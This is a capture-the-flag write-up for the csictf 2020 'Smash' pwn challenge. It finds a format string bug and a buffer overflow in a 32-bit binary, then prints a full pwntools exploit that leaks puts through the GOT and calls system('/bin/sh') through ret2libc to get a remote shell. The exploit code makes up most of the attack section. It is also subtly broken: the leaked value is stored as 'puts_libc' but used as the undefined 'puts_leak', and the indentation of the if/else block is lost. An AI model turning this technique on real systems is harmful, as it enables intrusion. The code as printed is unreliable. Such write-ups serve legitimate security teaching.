Tags: ret2puts pwn bufferoverflow pwnable pwntools ret2libc 

Rating:

# Smash
Smash was a very cool challenge where you were given the `libc` version used by the binary. You had to bypass ASLR and then execute a ret2libc attack.

## Analysis
As per usual, run a quick `checksec`:

![checksec](images/checksec-smash.png)

Luckily for us, PIE is disabled and there is no canary. That makes our job much easier.

Let's run it and see what happens.

![test](images/smash-test.png)

Hmm, our input is printed back to us again. Is there another format string bug?

![format string](images/smash-fs.png)

Indeed there is! Is a BoF possible this time?

![buffer overflow](images/smash-bof.png)

Awesome.

There's nothing particularly interesting in the decompilation - `main` takes input and calls `say_hello`, which prints back to you.

![rabin2](images/smash-rabin2.png)

No interesting strings either. As we are given the `libc`, everything points to a good old ret2libc attack.

## Exploitation
As we only had one input, the logical approach would be to use a ret2plt to leak the address of puts in `libc` from the [global offset table](https://github.com/ir0nstone/pwn-notes/blob/master/concepts/plt_and_got.md) and call main again to let us have another input.

```python
from pwn import *

elf = context.binary = ELF('./hello')

# Adapt for remote
if args.REMOTE:
libc = ELF('./libc-remote.so')
p = remote('chall.csivit.com', 30046)
else:
libc = elf.libc
p = elf.process()

# ret2plt
p.clean(1)

payload = flat(
b'A' * 136,
elf.plt['puts'],
elf.symbols['main'], # 32-bit - return address comes directly after the function call
elf.got['puts'] # Parameter comes after the return address
)

p.sendline(payload)

p.recvline() # This is the 'Hello, <>!' string - we don't need this

puts_libc = u32(p.recv(4)) # The puts call. We only need the first 4 bytes (the GOT entry of puts)
log.success(f'Puts@LIBC: {hex(puts_libc)}')

libc.address = puts_leak - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')

p.clean(1)

# Final ret2libc
payload = flat(
b'A' * 136,
libc.symbols['system'],
libc.symbols['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)
p.interactive()
```

Original writeup (https://github.com/crypt0n1te/Write-Ups/blob/master/csictf-2020/pwn/smash.md).